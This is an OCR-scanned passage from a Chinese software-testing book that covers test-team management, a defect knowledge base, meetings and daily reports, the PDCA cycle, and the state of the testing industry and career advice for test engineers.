聪明 和 圆滑 并 不 一 样 ,但 也 无 法 明确 分 开 , 我 这 里 说 的 聪明 之 人 是 指 学 
习 能 力 强 的 人 ,在 团队 研究 推行 新 技术 的 时 候 可 以 交 给 他 们 完成 ,他 们 会 为 
了 证 明 自 己 的 价值 给 你 卖力 干 活 的 。 


4. 老实 .勤奋 的 人 


这 类 人 是 属于 那 种 勤 勒 县 县 工作 的 ,他 不 会 有 什么 创新 ,也 不 会 给 你 偷 
懒 , 他 可 以 把 你 布置 的 任务 保质 保 量 地 完成 ,每 个 团队 都 需要 这 样 的 人 来 维 
持 稳定 。 但 缺点 就 是 缺乏 创新 和 激情 。 


5. 懒惰 的 人 


你 也 可 以 理解 为 不 上 进 的 人 ,这 类 人 是 任何 团队 都 不 想 要 的 ,不 仅 没 法 
按时 完成 工作 ,还 可 能 会 犯 很 多 莫名 其 妙 的 错误 ,更 让 人 气愤 的 是 知 错 还 不 
改 , 这 类 人 我 觉得 给 一 次 机 会 如 果 教 育 不 过 来 就 舍弃 吧 。 

这 些 所 有 的 激励 方法 只 是 个 人 的 浅 谈 ,大 家 不 必 去 争论 对 错 ,觉得 有 道 
理 就 可 以 听 ,觉得 没 营养 可 以 不 看 。 


12.9 缺陷 知识 库 的 建立 


所 谓 的 缺陷 知识 库 ,主要 有 两 个 特点 : 其 一 ,把 所 有 缺陷 汇总 归 类 ; 其 
二 ,对 归 类 后 的 缺陷 进行 分 析 , 并 做 出 预防 方案 。 看 似 不 起 眼 的 两 点 不 仅 能 
帮助 测试 工程 师 提 升 效率 ,更 好 地 发 现 缺陷 ,还 能 帮助 同事 提前 预防 可 能 存 
在 或 者 在 以 往 出 现 过 的 缺陷 ,从 而 逐步 推动 整体 的 研发 和 产品 质量 。 还 有 
一 点 很 重要 ,就 是 通过 缺陷 知识 库 的 积累 可 以 依据 数据 来 体现 测试 团队 的 
业绩 和 价值 ! 

至 于 缺陷 库 的 表现 形式 ,或 者 说 是 用 什么 方法 实现 ,我 觉得 没有 必要 去 纠 
结 。 有 时 候 大 家 总 是 纠结 在 一 些 毫 无 意义 的 问题 上 ,其 实 很 多 问题 你 绕 过 去 
之 后 再 回头 来 看 就 会 觉得 自己 很 可 笑 , 待 在 原 地 永远 不 是 最 好 的 解决 办 法 。 

那 缺 陷 库 到 底 用 什么 来 实现 呢 ? 像 Excel、Wiki、Blog、BBS 等 都 可 以 完 
成 。 在 组 建 团队 初期 ,我 以 Excel 形式 做 了 缺陷 知识 库 的 初版 ,如 表 12. 1 所 
示 。 虽 然 形式 上 有 点 简陋 ,看 起 来 也 不 高 大 上 ,但 至 少 迈 出 了 这 一 步 , 迈 出 


大 话 软 件 测试 


自动 化 及 团队 管理 


的 每 一 小 步 积 累 下 来 就 是 一 个 大 的 进步 。 
表 12.1 缺陷 知识 库 初版 
缺陷 类 别 | 数量 缺陷 产生 原因 
1. 共用 的 模块 未 做 统一 提取 管理 调用 
实现 问题 | 22 | s. 没有 考虑 边界 值 
4. 没有 同步 更 新 数据 
1. 未 考虑 大 数据 下 的 显示 
2. UI 文字 提示 不 统一 
UI 用 户 体 验 | 15 | 3. 跳 转 定位 不 够 友好 
4. 没有 明确 页 面 刷新 机 制 
5. 人 口 太 杂 ,使 用 户 感到 困惑 
1. 没有 定义 出 来 初始 化 时 需要 的 数据 
2. 对 做 限制 的 地 方 缺少 明确 的 要 求 
, 3. 忽略 了 多 个 版 本 之 间 的 限制 ,比如 露出 位 \ 入 口 ,功能 等 
需求 问题 。 | 22 | 规则 的 变更 
5. 未 考虑 大 数据 下 的 提取 
6. 未 考虑 在 没有 数据 情况 下 应 该 显示 的 页 面 效 果 
兼容 性 4 不 兼容 低 版 本 浏览 器 (根据 客服 反馈 用 户 用 360 浏览 器 的 较 多 ， 
所 以 权重 也 应 该 提高 ) 
1. 新 老 数 据 
2. 任务 系统 
数据 问题 | 22 | 3. 索引 更 新 
4. 缓存 没有 及 时 更 新 
1. 字段 的 预 留 
设计 缺陷 2. 可 扩展 性 
3. 页 面 上 设计 长 度 不 合理 
1. 短信 通道 不 稳定 
环境 问题 。| 9 | 。 站 部 接口 不 稳定 
1. 每 期 的 changelog 无 法 通知 到 用 户 ,导致 新 功能 上 线 后 用 户 不 
可 知道 或 迷惑 
其 他 4 


3. 


部 署 方 式 , 上 线 方式 容易 漏 传 文件 ,或 上 传 错误 造成 影响 
无 法 保证 上 线 的 版 本 就 是 测试 的 版 本 


在 此 表 之 上 可 以 利用 Excel 的 统计 功能 生成 一 张 饼 型 统计 图 ,这样 看 起 
来 更 为 直观 ,如 图 12. 8 所 示 。 
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缺陷 分 析 统计 图 
其 他 : 4% 
环境 问题 : 9% 
设计 缺陷 : 2% 


实现 问题 : 22% 国 实现 问题 
图 UI 用 户 体验 
口 需求 问题 


给 : 15% 国 环境 | 问 是 
UI 用 户 体验 : 15% 口 其 他 


数据 问题 : 22% 


兼容 性 : 4% 需求 问题 : 22% 


图 12.8 缺陷 分 析 统 计 图 


随 着 团队 的 扩充 以 及 缺陷 的 累积 ,不 可 能 一 直 在 Excel 中 进行 ,这 样 不 
方便 进行 统一 管理 。 这 时 候 我 们 需要 一 个 平台 来 做 统一 的 管理 ,不 仅仅 是 缺 
陷 知 识 库 , 更 是 一 个 测试 团队 的 知识 库 。 在 这 个 平台 中 我 们 可 以 进行 技术 分 
享 的 积累 、 各 类 文档 的 统一 归 类 (比如 接口 文档 ) ,测试 技术 规范 说 明 、 项 目 管 
理 ,缺陷 库 分 析 等 ,如 图 12.9 所 示 ( 因 为 涉及 一 些 隐私 所 以 做 了 模糊 处 理 ) 。 


| EE 
[SE 
和 十 文 
党 用 链接 
页 本 而 络 办 
a 线 上 地 址 
， 接口 说 明 Ps 
， 技 术 规范 © we! 


这 是 您 的 团队 空间 首页 。 团 队 空 间 是 与 您 的 团队 分 享 知识 ， 以 及 在 项 目 、 流 程 和 规程 上 协作 的 好 工具 , 


项 目 管理 
内 资 科 切 匆 对 外 池 露 ,欢迎 大 家 职 极 分 训 - 
(a) 
名 项 目 说 明 
请 大 衣 自 行 分 解 任务 ， 列 出 功能 点 ， 并 根 堵 功 能 点 排 期 ， 列 出 工时 。《 这 次 项 目 对 竺 交流 比较 多 ， 大 京 评估 工期 时 需要 预 留 出 一 定时 间 ) 
开 必 时 各 = 
测 二 时 向 
上 上线 日 期 
序 ”主任 务 模块 具体 细 分 功能 点 预 阳 总 。。 开发 进度 测试 进 实际 用 各 
号 工时 度 时 注 
1 大 13 天 
a 
(b) 


图 12.9 知识 库 平台 


rag 大 话 软 件 测试 一 一 性 能 、 自 动 化 及 团队 管理 CC) |! 


调用 方式 


参数 名 称 知 数 类 型 。 ”天数 岳 述 备注 


Sex int 性 别 (0 男 1 女 ) 选 填 


(9 


图 12.9 ( 续 ) 


可 见 , 知 识 的 总 结 和 积累 是 十 分 重要 的 ,不 仅仅 能 提升 测试 质量 ,帮助 
开发 .产品 预防 问题 ,还 能 帮助 管理 者 梳理 资料 ,未 来 你 要 写 汇报 的 时 候 这 
些 东西 都 是 你 的 重要 参考 资料 。 


12.10 如 何 高 效 地 开会 和 写 日 报 


之 所 以 会 把 开会 和 写 日 报 单独 作为 一 个 章节 来 写 , 是 因为 这 些 工 作 几 
乎 是 每 个 测试 人 员 每 天 都 要 干 的 事情 ,但 就 是 这 么 普通 的 事情 却 使 得 我 们 
特别 头疼 。 

对 于 开会 ,很 多 时 候 都 没有 效果 ,真正 能 够 落地 的 也 不 多 ,我 们 一 直 纠 
结 于 细节 责任 , 忘 了 开会 的 目的 ,而 且 会 议 结束 之 后 没有 记录 ,往往 在 推进 
过 程 中 不 了 了 之 。 

对 于 写 日 报 ,我 们 很 多 朋友 不 知道 该 怎么 写 , 写 什么 ,要 么 两 三 句 简单 
描述 ,要 么 长 篇 大 论 ,往往 无 法 突出 重点 ,体现 自己 的 工作 量 和 价值 。 

下 面 我 们 就 这 两 个 话题 分 别 分 享 下 我 自己 的 一 些 心得 。 
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1. 如 何 高 效 开会 


(1) 开会 之 前 必须 有 准备 。 一 定 要 把 会 议 说 明 ( 主 题 .时 间 、 内 容 、 参 会 
人 员 等 ) .所 需 资料 等 提前 发 给 参 会 人 员 ,让 他 们 可 以 提前 熟悉 , 预 留 一 些 思 
考 的 时 间 。 

(2) 开会 主题 必须 明确 。 我 们 常常 遇 到 这 样 的 情况 ,本 来 今天 开会 是 讨 
论 A 系统 的 进度 以 及 困难 ,结果 讨论 一 会 后 就 变 成 了 问 责 B 系统 了 ,会 议 主 
题 完 全 跑 偏 。 如 果 没 有 人 能 及 时 纠正 , 那 这 个 会 议 就 变 得 毫 无 意义 ,也 浪费 
了 大 家 的 时 间 。 所 以 ,会 议 的 主题 一 定 要 明确 , 且 要 时 时 纠正 ,凡是 不 属于 
本 次 会 议 主题 的 一 概 不 讨论 。 

(3) 开会 中 一 定 要 有 议题 引导 。 比 如 ,本 次 会 议 可 能 会 讨论 A、B.C 三 
块 的 内 容 , 那 么 顺序 是 什么 ,每 个 议题 的 时 间 占 比 等 都 要 明确 ,如 果 出 现 无 
法 确定 的 内 容 , 就 暂停 ,不 在 本 次 会 议 讨 论 ,等 确定 后 再 另行 开会 。 

(4) 会 后 一 定 要 有 明确 的 记录 和 结果 。 开 会 是 一 个 非常 耗 时 、 耗 力 的 事 
情 , 如 果 每 次 开会 都 浪费 大 把 时 间 , 但 什么 结果 都 没有 ,就 会 大 大 打击 参 会 
人 员 的 积极 性 ,会 产生 负面 影响 ,长 期 下 去 会 议 就 会 变 成 负担 ,而 不 是 解决 
问题 的 良 方 了 。 所 以 ,一 定 要 有 一 个 准确 完整 的 会 议 记 录 , 每 次 会 议 要 形成 
决议 ,并 且 各 项 决议 一 定 要 有 对 应 的 接口 人 进行 负责 ,保证 后 续 的 实施 。 


2. 如 何 写 日 报 


不 论 是 日 报 还 是 周报 其 实 写 法 上 都 一 样 ,有 一 定 规则 可 循 。 一 般 我 会 
要 求 下 属 主要 从 以 下 几 个 方面 来 描述 。 

(1) 今天 干 了 什么 事情 ,每 件 事情 的 进度 如 何 。 这 样 管理 者 可 以 清楚 地 
知道 每 个 人 的 进度 以 及 项 目的 整体 进度 。 

(2) 遇 到 了 什么 问题 ,需要 哪些 帮助 。 有 的 朋友 遇 到 问题 总 是 数 着 不 出 
声 , 拖 到 最 后 还 是 害 了 自己 。 所 以 有 问题 就 说 问题 ,然后 寻求 帮助 ,我们 的 
共同 目标 是 保质 保 量 地 按时 完成 任务 ,本 来 就 是 一 个 通力 协作 的 事情 , 没 必 
要 害羞 。 

(3) 明天 准备 干什么 事情 ,做 到 何 种 程度 。 这 个 主要 是 体现 未 来 的 计 
划 , 督 促 下 属 提前 计划 好 所 需要 做 的 事情 ,并 尽早 完成 。 

至 于 日 报 的 形式 ,我 个 人 觉得 没 必要 纠结 ,不 论 是 以 Excel 还 是 Word 
抑或 直接 在 邮件 里 描述 都 是 可 以 的 。 如 果 想 更 加 规范 点 ,也 可 以 开发 一 
日 报 系统 实现 基本 的 日 报 管理 功能 ,比如 ,“ 写 日 报 ”“ 我 的 日 报 ”“ 下 属 上 
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以 及 "部门 管理 “人 员 管 理 ? 等 ,如 图 12. 10 所 示 。 
Daily Report 。 写 B 报 。 我 的 日 报 | 下 属 日 报 | 修改 密码 管理 员 控制 全 。 退出 
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图 12.10 日 报 系 统 


也 许 你 在 阅读 本 节 之 后 会 觉得 很 简单 ,没有 什么 特别 的 ,但 你 能 确保 在 
真正 实施 的 时 候 一 丝 不 苟 吗 ? 我 看 未 必 。 很 多 时 候 我 们 往往 觉得 简单 的 事 
情 却 未 必 能 做 好 ,而 把 所 谓 的 简单 事情 做 到 极致 也 是 一 种 能 力 。 


12.11 PDCA 环 


PDCA 环 代表 什么 ? 如 果 熟 悉 项 目 管理 的 朋友 一 定 会 知道 。 不 过 我 觉 
得 阅读 本 书 的 朋友 中 可 能 会 有 一 部 分 不 知道 PDCA 环 代表 什么 。 我 们 用 一 
张 图 来 解释 ,如 图 12.11 所 示 。 

在 我 自己 看 来 PDCA 环 可 以 有 效 地 帮助 
我 们 执行 任务 。 比 如 ,当前 大 家 在 阅读 本 书 ， gg 
那 这 本 书 你 打算 怎么 阅读 ,每 天 看 多 少 页 .多 


久 看 完 、 是 否 做 笔记 、 是 否 做 标注 等 都 是 可 
以 利用 PDCA 环 来 有 条 不 订 地 完成 ,而 且 它 


也 是 项 目 管理 课程 中 非常 核心 的 一 部 分 大 
内 容 。 


这 里 我 们 以 如 何 有 计划 地 阅读 本 书 为 例 ， 
来 说 说 PDCA 环 的 应 用 场景 。 


图 12.11 PDCA 环 
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当 你 欣喜 若 狂 地 买 到 本 书 时 ,因为 新 鲜 你 一 口气 阅读 了 一 章 , 但 之 后 由 
于 太 忙 (其 实 估计 你 自己 都 不 知道 自己 在 忙 啥 ) 就 把 本 书 压 箱底 了 。 这 是 不 
少 朋友 做 过 的 事情 (我 也 这 么 做 过 ,哈哈 )。 那 如 果 你 用 PDCA 环 来 进行 ,也 
许 结果 就 不 会 这 么 糟糕 了 。 大 致 步骤 如 下 。 

1) 先 计 划 ,也 就 是 P(Plan) 

它 强调 的 是 对 现状 的 把 握 和 发 现 问 题 的 能 力 ,然后 制订 计划 。 拿 到 本 
书 之 后 先 大 致 浏览 下 目录 和 前 言 。 浏 览 目录 方便 你 快速 地 了 解 本 书 的 内 容 
结构 。 而 前 言 是 很 多 人 忽略 的 地 方 ,其 实 阅 读 前 言 更 有 利于 你 了 解 本 书 的 
内 容 以 及 作者 写作 的 目的 。 

当 你 浏览 完 目 录 后 ,你 可 能 已 经 有 了 一 个 大 概 的 计划 ,比如 ,所 有 内 容 
都 是 你 需要 的 。 当 然 ,也 可 能 有 一 部 分 内 容 是 你 需要 的 。 根 据 你 的 实际 情 
况 开 始 制订 计划 ,比如 ,一 天 阅读 一 章 或 者 一 天 阅读 三 节 , 并 形成 固定 计划 ， 
不 论 有 什么 事情 都 必须 坚持 完成 。 最 好 把 详细 计划 写 到 便签 或 者 手机 上 ， 
免得 以 后 找 借口 说 我 忘 了 。 

2) 再 执行 ,也 就 是 D(Do) 

“ 磨 刀 不 误 砍 柴 工 ”, 之 后 按照 预定 的 计划 逐步 执行 。 在 这 个 过 程 中 要 
进行 自我 监督 ,确保 任务 能 够 按 计划 进度 实施 。 每 完成 一 项 任务 可 以 做 一 
个 标记 ,这 样 以 后 看 着 标记 一 天 天 多 起 来 自己 也 会 有 动力 。 同 时 在 这 个 过 
程 中 ,一定 有 需要 你 自学 的 知识 ,比如 ,本 书 中 不 涉及 太 基 础 的 概念 和 操作 ， 
那 如 果 你 正好 这 方面 的 知识 是 零 基础 ,可 能 就 需要 制订 额外 的 计划 来 补充 
学 习 于 。 

3) 不 断 检查 评估 效果 ,也 就 是 CCCheck) 

在 执行 的 过 程 中 要 不 断 地 检查 .评估 学 习 效 果 是 否 达到 了 预期 的 目标 。 
如 果 没 有 达到 预期 目标 时 ,应 该 确认 是 否 严格 按照 计划 执行 (我 猜 基 本 都 是 
没 按照 计划 执行 导致 的 ) 。 在 整个 过 程 中 不 要 忘 了 必要 的 笔记 和 批注 。 

4) 总 结 和 纠正 ,也 就 是 A(Action) 

这 里 有 两 层 含义 : 

。 问题 总 结 。 任 何 学 习 都 需要 做 总 结 ,如 果 没 有 总 结 的 习惯 ,知识 学 

完 是 杂乱 的 。 同 样 ,每 个 人 的 学 习 都 需要 一 个 过 程 ,也 许 你 第 一 遍 
阅读 完 本 书 可 能 只 理解 了 30% 的 内 容 , 那 么 就 要 接着 阅读 第 二 遍 
甚至 第 三 遍 , 俗 话说 得 好 “ 书 读 百 遍 , 其 义 自 见 ”。 在 这 个 极度 繁忙 
的 时 代 , 也 许 我 们 真 的 需要 一 点 时 间 来 静 静 地 阅读 一 些 书 沉淀 
自己。 
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。 对 已 被 证 明 的 ,有 成 效 的 计划 方案 ,要 进行 标准 化 ,制定 成 工作 标准 ， 

以 便 应 用 到 以 后 的 执行 和 推广 中 。 这 里 想 表 述 的 含义 就 是 ,经 过 

PDCA 环 的 不 断 实 践 ,你 最 终 会 总 结 出 一 套 可 行 的 计划 方案 ,那么 以 

后 类 似 的 事情 你 都 可 以 按照 这 个 标准 来 执行 ,大 大 提升 了 效率 ,减少 

看 似 平淡 无 奇 的 PDCA , 却 能 在 很 多 地 方 帮 了 你 ,不论 是 大 事 还 是 小 事 。 

正 像 本 章 开篇 所 说 那样 ,管理 并 不 高 大 上 ,相反 就 在 我 们 身边 ,其 实 我 们 每 
个 人 时 时 刻 刻 都 在 作 管 理 ,只 是 没有 注意 而 已 。 


12. 12 ”本章 小 结 


本 章 从 测试 团队 的 组 织 架构 ,组建 团 队 、 管 理 团队 、 考 核 团队 等 以 及 常 
见 的 一 些 管理 方法 和 大 家 进行 了 分 享 ,里 面 更 多 的 是 我 自己 在 从 业经 历 中 
积累 下 来 的 经 验 , 难 免 有 不 对 或 不 妥 的 地 方 也 请 大 家 多 多 包涵 。 

其 实 很 早 之 前 就 一 直 有 个 计划 写 一 本 较为 纯粹 的 测试 管理 方面 的 书 
籍 ,但 是 担心 单纯 的 测试 管理 书籍 可 能 销量 不 会 好 ,所 以 计划 就 暂停 了 。 这 
次 受 邀 写 书 , 正 好 能 弥补 我 之 前 留 下 的 遗憾 ,也 把 自己 多 年 的 经 验 分 享 给 
大 家 。 


管理 本 身 就 没有 对 错 之 分 ,更 多 的 是 对 人 性 的 把 握 , 对 待 和 善之 人 有 和 
善 的 办 法 ,对 待 极 恶 之 人 有 极 恶 的 办 法 。 我 只 是 希望 以 后 能 多 一 些 真诚 、 实 
干 , 少 一 些 虚 伪 .斗争 ,也 许 我 们 才能 真正 地 快乐 工作 。 
如 果 你 有 更 多 的 想法 欢迎 与 我 交流 。 
扫 下 方 二 维 码 可 以 观看 视频 ,了 解 如 何 从 无 到 有 建立 测试 团队 。 
回 涨 生 中 回 
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有 和 句 话说 得 好 “三 十 而 立 , 四 十 而 不 惑 ”, 可 是 我 从 接触 的 朋友 中 发 现 一 
个 特别 有 趣 的 现象 ,90 后 的 “少年 们 ”貌似 早已 体会 到 了 危机 ,很 早 就 开始 做 
职业 发 展 的 规划 并 不 断 学 习 新 知识 来 提升 自己 ,反观 80 后 的 我 们 貌似 进入 
了 一 个 迷茫 期 , 面 对 生 活 .家 庭 ` 工 作 的 压力 ,似乎 一 时 间 不 知道 该 怎么 规划 
自己 的 发 展 , 既 不 愿意 投入 学 习 , 又 在 抱怨 挣 得 太 少 。 看 到 这 里 请 大 家 不 要 
加 我 ,我 并 没有 什么 偏见 ,毕竟 我 也 是 标准 的 80 后 ,我 只 是 在 描述 一 个 我 遇 
到 的 现象 而 已 ,也 许 通过 对 这 个 现象 的 分 析 我 们 都 可 以 找到 自己 ,得 到 更 好 
的 发 展 , 所 以 请 大 家 淡定 地 看 完 本 章 所 有 内 容 。 


13.1 软件 测试 行业 的 现状 与 发 展 趋势 


谈 到 软件 测试 行业 的 现状 真心 觉得 好 沉重 ,如 果 非 要 形容 一 下 ,我 觉得 
挺 像 “三 国 杀 ”的 。 混 乱 、 浮 躁 、 充 满 明争暗斗 ,不 过 庆幸 的 是 总 体 来 说 是 在 
进步 的 ,不 论 是 从 技术 上 还 是 从 认 知 上 ,所 以 还 是 应 该 为 测试 行业 的 进步 点 
个 赞 的 ! 

也 有 不 少 朋 友 在 多 个 场合 问 过 我 对 测试 行业 的 看 法 ,以 前 谈论 的 时 候 
自己 身 在 测试 行业 ,现在 再 次 谈论 的 时 候 可 以 稍微 跳出 来 谈 谈 ,也 许 会 给 大 
家 带 来 不 同 的 感受 。 
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从 市 场 需求 角度 来 说 ,对 测试 工程 师 的 需求 量 还 是 呈现 增长 趋势 的 ,但 
比 起 前 两 年 趋势 有 所 减缓 ,其 中 一 个 比较 重要 的 原因 是 创业 热潮 的 退去 和 
创业 公司 的 倒闭 。 不 过 ,各 个 公司 对 测试 工程 师 的 需求 还 是 较为 旺盛 的 ,但 
苦于 招 不 到 人 ,这 里 面 的 原因 就 比较 多 了 ,也 不 是 一 两 句 可 以 说 清楚 的 , 主 
要 存在 如 下 几 个 原因 : 
公司 希望 招 到 全 才 ,但 薪水 却 给 不 到 ; 
求职 者 希望 获得 高 薪 , 但 却 达 不 到 要 求 ; 
招聘 者 希望 招 熟悉 的 人 ,主要 担心 频繁 跳槽 和 人 品 太 差 , 其 实现 在 招 
一 个 人 的 成 本 还 是 比较 高 的 ; 
公司 无 法 提供 良好 的 培训 和 福利 体系 , 留 不 住人 ,每 年 基本 上 都 会 有 
两 次 较 大 浮动 的 跳槽 季 
求职 者 对 充电 学 习 音 冀 , 更 多 时 间 在 抱怨 。 

上 面 的 这 些 原因 也 只 是 冰山 一 角 , 总 之 发 展 的 不 平衡 导致 了 供需 的 不 
匹配 ,也 就 造成 了 现在 测试 工程 师 很 多 ,但 真正 能 够 达到 要 求 的 却 不 是 很 多 
的 局 面 。 

从 求职 者 角度 来 说 ,我 们 能 明显 感觉 到 职位 要 求 越 来 越 高 ,面试 官 问 的 
也 越 来 越 多 ,要 求 的 知识 面 也 会 越 来 越 广 。 而且 ,不 少 朋 友 比 较 浮躁 ,对 于 
应 该 学 习 什 么 , 面 对 问 题 应 该 如 何 分 析 等 都 非常 迷茫 ,导致 一 直 在 十 字 路 口 
徘徊 ,浪费 了 很 多 时 间 。 面 对 高 压 我 们 更 应 该 保持 头脑 的 清醒 ,一 步 一 个 脚 
印 地 学 习 ,而 不 是 找 速成 的 方法 。 除 此 之 外 ,基础 知识 匮乏 也 是 阻碍 大 家 进 
步 的 一 大 元 凶 。 从 小 强 性 能 测试 班 的 学 员 中 也 可 以 明显 感受 到 ,对 于 
Linux\MySQL 网络、 基本 环境 等 方面 的 知识 极度 匮乏 ,导致 在 学 习 中 浪费 
了 不 少 的 时 间 。 所 以 ,永远 都 不 要 说 基础 不 重要 ,也 永远 不 要 说 我 想 学 高 级 
的 知识 ,看 清 自己 的 缺陷 才能 让 自己 进步 更 快 ! 

另外 ,一 个 非常 严重 的 是 心态 问题 ,在 和 很 多 朋友 的 沟通 过 程 中 明显 能 
感觉 到 其 心态 非常 不 稳定 ,无 法 静 下 心 来 学 习 ,“ 三 天 打 鱼 ,两 天 晒 网 ”, 总 是 
在 想 啊 想 啊 , 却 从 来 不 去 付 诸 行 动 ,这 样 怎么 能 知道 自己 行 不 行 呢 ? 

从 招聘 者 角度 来 说 , 既 想 招聘 到 “全 能 "的 人 才 , 又 不 愿意 给 足够 的 薪 
水 ; 既 想 招聘 到 优秀 的 人 才 , 又 担心 进入 公司 后 会 对 自己 构成 威胁 。 这 了 矛盾 
的 心理 也 是 导致 无 法 快速 招 到 合适 人 的 原因 之 一 。 

还 有 一 点 也 是 很 多 朋友 和 学 员 跟 我 抱怨 的 : 现在 公司 职位 要 求 太 多 , 感 
觉 必须 是 “全 能 ” 才 可 以 。 但 当 你 真正 进入 公司 之 后 会 发 现 ,其 实 只 有 20% 
的 技术 会 使 用 到 ,很 多 职位 招聘 时 要 求 的 根本 用 不 到 。 这 也 是 我 特别 无 奈 
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的 地 方 , 当 然 我 并 不 是 说 所 有 公司 都 这 样 , 但 有 相当 一 部 分 的 公司 就 是 这 样 
的 情况 。 所 以 ,如 果 有 管理 者 看 到 这 本 书 , 我 真心 呼吁 招聘 要 求 要 落地 ,不 
是 你 招聘 要 求 越 高 就 越 显得 你 厉害 ,只 有 招 到 真正 合适 的 人 才能 带 来 业绩 。 

从 测试 技能 角度 来 说 ,对 测试 工程 师 的 要 求 也 会 越 来 越 高 ,不 仅仅 是 对 
技术 方面 的 要 求 , 对 一 些 沟通 .协作 等 软 技能 要 求 也 会 越 来 越 高 ,毕竟 测试 
工作 是 连接 上 下 游 的 纽带 ,也 需要 和 产品 、 开 发 等 多 个 兄弟 部 门 打交道 , 没 
有 高 情商 做 支撑 确实 会 比较 费劲 。 

对 于 技术 的 提升 大 部 分 还 得 靠 测 试 工程 师 自 学 或 参加 培训 ,毕竟 能 提 
供 优秀 的 内 部 培训 体系 的 公司 还 是 非常 少 的 。 图 13. 1 所 示 就 是 2015 年 调 
查 所 得 公司 每 年 对 测试 人 员 的 培训 次 数 分 布 ,可 以 看 出 内 部 培训 少 得 可 怜 。 
而 对 于 软 技 能 的 提升 则 需要 测试 工程 师 多 去 观察 ,总结 , 提 升 自己 的 情商 。 


2015 年 调查 中 公司 每 年 对 测试 人 员 的 培训 次 数 分 布 
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统计 规则 ， 基 于 51Testing 2015 年 第 九 届 软 件 测试 现状 调查 数据 统计 分 析 PesrIng 
数据 来 源 ，51Testing (www.5ltesting.com 》 软件 测试 网 
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图 13.1 2015 年 调查 所 得 公司 每 年 对 测试 人 员 的 培训 次 数 分 布 


总 之 ,测试 行业 的 未 来 发 展 压 力 会 越 来 越 大 ,要 求 也 会 越 来 越 高 ,知名 
企业 对 学 历 的 要 求 也 会 逐渐 成 为 硬指标 ,对 知识 面 的 要 求 也 会 越 来 越 广 , 薪 
水 自然 也 会 上 涨 ,但 怎么 涨 都 不 会 赶 上 房价 的 (本 宝宝 瞬间 不 开心 了 )。 

同样 ,从 调查 报告 中 可 以 看 出 测试 工程 师 自 己 对 未 来 测试 行业 发 展 的 
一 个 态度 ,如 图 13.2 所 了 示 。 可 以 看 出 来 绝 大 部 分 人 处 于 迷茫 的 状态 ,这 个 和 
本 章 开头 的 描述 一 致 ,我 也 想 尽 可 能 地 在 本 书 中 给 大 家 一 些 指点 ,不 敢 说 都 
是 对 的 ,但 至 少 是 经 验 的 总 结 , 也 许 对 于 迷茫 的 朋友 来 说 可 以 帮 你 在 黑暗 中 
点 亮 一 芳 灯 。 
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历届 调查 中 软件 测试 从 业 人 员 眼 中 的 测试 领域 前 景 
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0% sao nn emms 一 一 号 “一 王国 国 一 
但 有 Ci 和 持 观 单 Dp: 前途 无 望 
态度 
加 2007 征 10% 1% 
加 2008 征 13% 2% 
加 2009 征 17% 3% 
下 2010 年 19% 66% 13% 2% 
加 2011 征 17% 68% 13% 2% 
量 2012 征 15% 69% 13% 3% 
加 2013 征 17% 65% 13% 5% 
加 2014 征 19% 64% 12% 4% 
加 2015 征 23% 65% 11% 2% 
统计 规则 : 基于 51Testing 2015 年 第 九 届 软 件 测试 现状 调查 数据 统计 分 析 Stestyng 
数据 来 源 ，51Testing (www.51testing.com ) 软件 测试 网 
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图 13.2 测试 从 业 人 员 眼 中 的 测试 领域 前 景 


13.2 如何 成 为 优秀 的 测试 工程 师 


在 我 看 来 ,成 为 一 个 测试 工程 师 不 难 ,甚至 人 人 都 可 以 成 为 测试 工程 
师 , 但 要 想 成 为 一 个 优秀 的 测试 工程 师 就 不 容易 了 ,所 谓 的 优秀 既 要 求 你 在 
技术 上 要 够 全 面 ,又 要 求 你 在 软 技能 方面 够 成 熟 ,还 要 求 你 在 人 品 方面 足够 
端正 ,只 有 综合 能 力 够 强 才 能 称 得 上 真正 的 优秀 。 

那 我 们 如 何 逐 步 向 优秀 的 测试 工程 师 标准 靠近 呢 ? 可 以 尝试 从 如 下 几 
个 方面 努力 。 

(1) 不 论 你 是 测试 界 的 新 人 还 是 老人 ,你 都 要 不 断 更 新 自己 对 测试 行业 
的 了 解 和 认 知 ,每 个 行业 每 隔 一 段 时 间 就 会 发 生 较 大 的 变化 ,所 以 及 时 了 解 
行业 发 展 动态 和 趋势 是 必需 的 。 

(2) 需要 逐步 培养 测试 思维 ,软件 测试 实际 上 更 看 重 逻辑 思维 方法 。 不 
知道 大 家 有 没有 这 样 的 感受 ,比如 ,你 会 写 Python 代码 ,但 却 无 法 设计 出 自 
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动 化 测试 框架 ,自己 感觉 特别 灿 屈 ,主要 原因 不 是 你 技术 不 行 , 而 是 你 没有 
这 方面 的 思维 ,所 以 有 时 候 你 学 得 再 多 都 可 能 是 无 用 的 ,你 没有 最 关键 、 最 
核心 的 思维 ,什么 都 是 白搭 。 所 以 ,我 也 一 直 坚 信 , 培 养 学 员 的 思维 能 力 远 
比 教 “1 十 1 二 2” 重 要 ,而 这 个 思维 又 不 是 所 有 人 都 可 以 教 的 。 

(3) 需要 吸收 大 量 知识 ,这 是 成 为 一 个 优秀 测试 工程 师 的 必 经 之 路 。 各 
种 开发 技术 ,测试 技术 、 数 据 库 、 中 间 件 、 网 络 、 架 构 、 运 维 、 管 理 技能 其 至 连 
产品 的 知识 都 需要 懂 一 些 。 这 里 尤其 要 强调 的 是 ,代码 能 力 已 经 逐步 成 为 
了 测试 工程 师 的 硬指标 ,所 以 那些 还 有 侥幸 心理 的 朋友 真 要 醒 醒 了 。 

(4) 要 有 良好 的 沟通 、 理 解 能 力 。 如 果 没 有 良好 的 沟通 能 力 , 则 无 法 表 
达 自 己 的 意见 ; 如 果 没 有 良好 的 理解 能 力 , 则 无 法 完全 理解 需求 和 设计 。 测 
试 这 个 职位 其 实 很 尴 众 , 有 功劳 没有 你 的 份 儿 ,有 问题 都 是 你 的 责任 ,所 以 ， 
如 果 有 良好 的 沟通 和 理解 能 力 , 就 可 以 把 很 多 不 确定 的 因素 在 前 期 让 它 确 
定 了 ,从 而 减少 风险 。 

(5) 强化 自己 的 排 错 能 力 。 不 论 你 是 想 成 为 一 个 优秀 的 技术 型 测试 工 
程 师 还 是 一 个 优秀 的 管理 型 测试 工程 师 , 这 个 能 力 都 是 必需 且 非 常 重要 的 ， 
不 然 你 怎么 面 对 复 杂 的 系统 和 环境 来 做 剖析 、 分 离 ? 又 怎么 能 去 管理 一 个 
十 多 人 的 团队 呢 ? 而 这 个 能 力 的 培养 就 需要 大 家 多 练习 、 多 总 结 了 ,没有 什 
么 捷径 。 就 我 自己 而 言 ,也 是 踩 过 无 数 * 坑 ”的 ,有 时 候 真 想 放 弃 , 但 也 就 是 
